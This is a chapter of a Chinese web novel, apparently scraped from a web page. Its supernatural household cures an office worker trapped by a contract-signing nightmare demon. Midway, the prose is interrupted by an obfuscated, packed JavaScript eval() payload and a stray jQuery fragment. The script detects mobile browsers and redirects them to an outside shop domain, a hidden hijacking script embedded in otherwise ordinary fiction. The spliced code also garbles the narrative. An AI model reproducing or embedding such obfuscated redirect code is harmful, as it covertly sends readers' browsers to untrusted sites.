那天晚上小暖入住新罐子之后的第一觉，睡得特别沉。
林小满临睡前又去看了一眼，那团暖白色的馒头蜷在枯叶堆里，两只金色小眼睛完全合上了，整团暖光收成一个极小的、安静的光点，像一株收拢花瓣的夜来香。她把门缝又留宽了一指，月光能多透进去一小块，落在罐壁上，和里面的暖光浅浅地融在一起。
回到房间躺下的时候已经快十一点了。她翻了个身面朝墙壁，闭上眼睛，意识正要沉下去——院子外面传来敲门声。
很轻的三下，笃、笃、笃。力道不大，但节奏很稳，不像是风吹的，也不像醉汉砸门。林小满翻了个身，以为是做梦，但那三声又响了一遍，这次稍稍重了一点点，带着一丝迟疑和急促。
她披了外套出去的时候看见白泽已经站在院门后面了。他显然也没睡，鹿角上的金光半亮着，整个人在月光底下站得很直，侧耳听着门外的动静。看见林小满出来，他微微侧头：“有人。气息有点乱。”
“开门吧。”
院门拉开，门外站着一个人。年轻男人，约莫二十七八岁的模样，穿着格子衬衫和牛仔裤，头发乱糟糟地翘着，脚上是一双沾了泥的球鞋。他整个人的状态看起来糟糕透了——脸色苍白，眼下乌青重得像是被人拿炭笔画了两道，嘴唇干裂起皮，双手绞在一起，指甲缝里全是深色污渍。
他看见门开了，整个人像一根绷到极限的弦终于被拨了一下，往前踉跄了半步，声音哑得像砂纸磨过木板：“请、请问……这里是那个……非人类福利院吗？”
林小满上下打量了他一秒，侧身让进门：“进来说。”
胡离和书书也被吵醒了。陶陶揉着眼睛从屋里出来，被胡离一把捞起来抱在怀里防止他扑到陌生人身上。小暖的罐子里那团暖光也亮了一下，从门缝里探出两粒金色小眼睛的轮廓，滴溜溜地看着院子里的动静。
年轻男人在石凳上坐下来，接过胡离递来的一杯热水，双手捧着像要吸取那点温度。他喝了两口缓了一下，然后开口，声音还是哑的，但比刚才稳了一点：
“我叫陈勉……在城东那个科技园上班。大概半个多月前开始，每天晚上做同一个梦。”
“什么梦？”林小满坐到对面。
陈勉攥紧了杯子：“梦到我办公室，凌晨两点，整个公司就剩我一个人。窗外飘进来一团黑雾……黑色的，会动，像活的。”他顿了一下，喉结动了动，“它在我耳边讲话，声音特别轻、特别耐心，说‘签了吧，签完就不用加班了’。我在梦里真看见一份文件飘到我面前，上面全是乱码，但我的手自己伸过去拿笔了。”
陶陶在胡离怀里动了动，小声说了一句：“他也梦到了。”胡离轻轻拍了拍他的背示意他安静。
“但你醒过来了？”林小满问。
陈勉苦笑了一下：“因为我梦见你那个直播间了。”他从口袋里掏出手机，屏幕上是《妖怪福利院的打工日记》主页，“我那天刷到你们捉魇魔的录屏，本来觉得就是特效，图一乐。结果那天晚上做梦的时候，那团黑雾又来了，我正要签字，耳边忽然响起你们直播间里那个狐狸说话的声音——就是那条弹幕，记得吧？有人刷了条‘魇魔哥哥给个签名’。”
胡离推了推眼镜：“……那条弹幕是我小号发的。”
林小满挥手打断他：“然后呢？”
“然后我手里的笔掉地上了。梦就碎了。醒了之后我再也没做过那个梦。”陈勉把手机屏幕翻过来，亮出一张备忘录截图，上面密密麻麻记着日期和症状——从半个月前开始，每天凌晨三四点醒来、心悸、盗汗、白天精神萎靡。“但我有个同事，工位坐我隔壁，现在还在医院。他比我严重多了……醒不过来。医生说查不出病因，身体机能一切正常，就是深度昏迷。他已经在医院躺了一个礼拜了。”
他说完最后一句，整个人像终于把背了太久的石头卸了下来，肩膀塌下去，握着水杯的手指轻轻发抖。院子里安静了几秒。白泽开口了，声音不高但很清晰：“他昏迷之前，是不是签了什么？”
陈勉猛地抬头看他：“你怎么知道？”他翻手机翻出同事朋友圈截图，“他走之前那天中午发了一条，就五个字，‘终于签完了’。配图是他办公桌上一份空白的合同封面，封皮上印着‘自愿’两个字……我们都以为是他终于把拖了半年的项目手续走完了。”
林小满和白泽对视了一眼。杂物间的门缝底下，小暖那两粒金色小眼睛猛地亮了一下，整团暖光从罐子里溢出来一寸，顺着门缝朝外探了探。
“地址发我，”林小满站起来，“明天上午去你公司看一眼。你那个同事在哪家医院？”
“市二院，3号楼，6楼。”陈勉也站起来，“你们真能……救他？”
林小满转身走回屋里拿外套和手机，一边回答他：“不一定能救，但得试试。那团黑雾我们见过。”
第二天清早，福利院的早会开得比平时短。林小满点了三个人的名字：白泽、小暖、自己。胡离开车送他们去，书书和陶陶留家看门。白泽把小暖从罐子里捧出来——它现在比昨晚大了一点点，从拳头大小胀到了小橘子那么大，趴在白泽掌心里，暖光轻轻跳着，两只金色小眼睛亮晶晶地扫了一圈周围的环境。
陈勉在院门口等他们。看到白泽手心捧着一只发暖光的小东西走出来，他愣了两秒，但什么也没问，只是快步带路上了胡离的车。
市二院3号楼6楼走廊里弥漫着消毒水的气味。陈勉的同事姓周，单人病房在走廊尽头，门牌上写着“深度镇静观察中”。推门进去的时候，一个年轻男人安安静静地躺在病床上，面色还好，呼吸平稳，监护仪上的数据也很正常，就是醒不过来。枕头边放着一台关机的手机，屏幕边缘有一道小小的干涸泥渍。
小暖从白泽掌心里探出半个圆身体，金色小眼睛盯着病床上的人看了一会儿，忽然整团暖光剧烈地闪了两闪，像被什么东西烫了一下。它从白泽掌心蹦下来，落在床头柜上，圆滚滚的身体微微前倾，朝着病人的额头方向伸出一小缕暖白色的触须——比之前在罐子里的时候精致多了，细得像一根蚕丝，带着温润的暖光，极轻极轻地触了一下病人的眉心。
那一瞬间，监护仪上的心率曲线忽然跳了一下。然后小暖收回了触须，整团身体蜷起来像在消化什么东西，过了几秒才重新舒展开。它转过头来对着林小满，两粒金色小眼睛里好像含着一层极薄的水光。然后它发出了一阵很轻很轻的嗡鸣，只有两个字：
“……挂了。”
林小满蹲下来：“什么挂了？”
小暖的触须又伸出来，在空中比划了一个动作——像有人拿着笔在一份文件上画了一下。然后它又比了一个动作——那支笔从手中滑落，掉在地上。
白泽走近一步，鹿角上的金光映着小暖的暖光：“它的意思是，那个‘签了’的动作被人中断了。笔掉了。所以他只是昏迷了，没有彻底被拖进去。”
“能救吗？”
小暖的金色小眼睛弯了一下。它蹦下床头柜，暖白色的圆身体在窗台上颠了两颠，然后对着窗外——窗户正对着城东科技园的方向——伸出触须指了一下。然后它收回触须，在自己面前画了一个小小的圆，圆里面又画了一个叉。
“……去……那里。拔。”
林小满转头对陈勉说：“我们去你公司一趟，小暖说源头在那边。你同事这边暂时稳定，你把手机号留给胡离，有变化随时通知。”
陈勉用力点头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943817|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
科技园在城东一片集中写字楼群里，周工位在17层，靠窗倒数第三排。胡离把车停在地下车库，一行人坐电梯上去的时候小暖在白泽掌心里缩得很紧，暖光收成一个小点，像在屏住呼吸。
电梯门打开的瞬间，一股熟悉的湿闷气息扑面而来——比当初那间会议室里淡了很多，但林小满立刻认出来了。白泽也感觉到了，鹿角上的金光猛地亮了一瞬。小暖从他掌心里探出半个身子，暖光重新亮起来，金色小眼睛直直望向走廊尽头倒数第三排那个工位。
那个工位的电脑还亮着，屏幕上是一份打开了一半的空白文档，光标在页面上方一闪一闪。办公桌上摊着几份文件，最上面那份封面印着“自愿”两个字，底下是密密麻麻的小字，但字迹模糊得看不清楚。文件旁边摆着一支黑色中性笔，笔帽歪在一边，笔尖还露着。
小暖从白泽掌心跳下来，落在桌面上，圆滚滚的身体在文件旁边滚了半圈。它伸出一缕触须碰了一下那份“自愿”文件的封面，文件表面的纸页忽然像被水浸过一样微微卷曲起来，从纸缝里渗出一线极淡的、几乎看不见的黑气。那缕黑气一冒出头就被小暖的暖光迎头裹住，像一滴墨水落进一杯温水里，瞬间化开、消散、无影无踪。
小暖收回触须，整团身体比刚才又白了一度。然后它转过头来，对着林小满发出一个清晰的嗡鸣：“没了。”
林小满蹲下来和它平视：“没了？”
“拔完了。”小暖的金色小眼睛眯成两道弯月，“挂着的……掉了。那个人……醒了。”
话音刚落，胡离的手机震了。他接起来听了几句，然后把手机递到林小满面前——屏幕上是一条短信，陈勉发来的，只有一行字：“周醒了！！！刚睁开眼睛！医生在检查！他说他没做那个梦了！！”
林小满把手机还给胡离，低头看着桌面上那只正用圆脑袋蹭文件封面的小暖馒头。阳光从17楼的窗户照进来落在那只暖白色的团子上，把它的轮廓勾了一圈淡淡的光边。它蹭完了文件封面之后又滚了两圈，然后仰起脸来，金色小眼睛对着白泽，轻轻说了一个字：
“……走。回家。”
白泽弯腰把它捧回掌心里。小暖在他掌心里缩成一个球，暖光稳定地、温柔地亮着，像一只刚干完活、心满意足趴在窝里的小猫。林小满站起来拍了拍手，看了一眼那份“自愿”文件——“现在上面的‘气’抽干净了，”她把它拿起来折好塞进包里，“带回去当证据。”
回去的车上小暖趴在白泽掌心睡着了。整个团子从暖白色透出一层淡淡的奶金色，像午后晒足了太阳的猫肚子，一起一伏地轻轻动着。林小满坐在副驾偏过头看了它一眼，低声说：“它今天干了一件大事。救了一个人。”
白泽低头看着掌心里那团安睡的光：“它把当初自己散出去的那些‘线’，一根一根地收回来了。”
窗外的街景向后掠去，午后的阳光从云层缝隙里洒下来，把整辆车罩在暖洋洋的金色里。胡离打开收音机放了一首柔和的歌，林小满闭上眼靠在座椅上。小暖睡梦里翻了个身，触须不自觉地伸出来碰了一下白泽的手腕，又缩回去。白泽没动，任由那一线暖光搭在自己脉搏上，浅浅地、轻轻地跳着。
福利院的枣树在秋风里摇着光秃秃的枝丫，院子里的香囊串被午后晒得微暖，在风里懒洋洋地晃。陶陶蹲在门槛上等他们回来，书书坐在石桌边写完了一封信，封好口，搁在桌角——收信人写的是南方古城的某个书库，转银杏先生。
院门推开的时候，那只暖白色的小馒头在白泽掌心里醒了过来，金色小眼睛眨了眨，看着熟悉的门槛、枣树、香囊、石桌，然后整个身体亮了一瞬，发出一声极轻极满足的嗡鸣：
“家。”